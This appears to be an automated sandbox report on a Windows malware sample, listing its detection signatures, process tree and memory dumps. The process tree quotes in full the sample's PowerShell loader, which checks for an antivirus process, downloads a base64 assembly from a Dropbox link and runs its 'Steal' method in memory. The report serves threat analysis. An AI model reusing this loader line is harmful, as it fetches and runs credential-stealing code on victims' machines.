Analysis
- max time kernel
148s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
29/09/2026, 15:03
General
- Target 2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe
- Size 650KB
- Sample260929-se64xsty3k
- SHA256 545cc3348e4b3e3eaa89344ab39b27284fbae6690d3b2cd1f599de2e43a3c84a
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 19 IoCs
- Detects executables containing URLs to raw contents of a Github gist 19 IoCs
- Detects executables packed with ConfuserEx Mod 1 IoCs
- Detects executables referencing many IR and analysis tools 18 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 1 IoCs
- Enumerates connected drives 3 TTPs 6 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned -Command " if((Get-Process -Name ekrn -ErrorAction SilentlyContinue) -eq $null){[Reflection.Assembly]::Load([Convert]::FromBase64String((Invoke-RestMethod 'https://www.dropbox.com/scl/fi/1h0ykginoto5u4z0yvwvx/mogling?rlkey=mpass52bkm1a0fbs9ag2cpix1&st=813b4ttj&dl=1'))).GetType('Big.File')::Steal()} "2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c plasrv.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\plasrv.exeplasrv.exe4⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ouelweiz.v2a.ps1
memory/724-65-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-78-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-33-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-32-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-123-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-126-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-74-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-30-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-29-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-82-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-26-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-25-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-24-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-23-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-22-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-21-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-20-0x000002E3DD870000-0x000002E3DD871000-memory.dmp
memory/724-34-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-36-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-37-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-39-0x000002E3DD880000-0x000002E3DD881000-memory.dmp
memory/724-134-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-132-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-124-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-122-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-121-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-120-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-66-0x000002E3DFC20000-0x000002E3DFC21000-memory.dmp
memory/724-70-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-71-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-69-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-68-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-67-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-13-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-31-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-28-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-27-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-81-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-80-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-79-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-83-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-77-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-76-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-75-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-90-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-100-0x000002E3DD7B0000-0x000002E3DD854000-memory.dmp
memory/724-101-0x000002E3DFB70000-0x000002E3DFC0F000-memory.dmp
memory/724-105-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-119-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-118-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-117-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-116-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-115-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-114-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-113-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-112-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-111-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-110-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-109-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-108-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-107-0x000002E3E0460000-0x000002E3E055D000-memory.dmp
memory/724-106-0x000002E3E0570000-0x000002E3E0571000-memory.dmp
memory/1724-43-0x00000214DA730000-0x00000214DA94C000-memory.dmp
memory/1724-40-0x00000214C04D0000-0x00000214C04E0000-memory.dmp
memory/1724-12-0x00000214DAC70000-0x00000214DAC74000-memory.dmp
memory/1724-11-0x00000214DAC50000-0x00000214DAC6A000-memory.dmp
memory/1724-10-0x00000214DB010000-0x00000214DB1D2000-memory.dmp
memory/1724-2-0x00000214DA700000-0x00000214DA722000-memory.dmp
memory/1724-1-0x00000214C04D0000-0x00000214C04E0000-memory.dmp
memory/1724-0-0x00000214C04D0000-0x00000214C04E0000-memory.dmp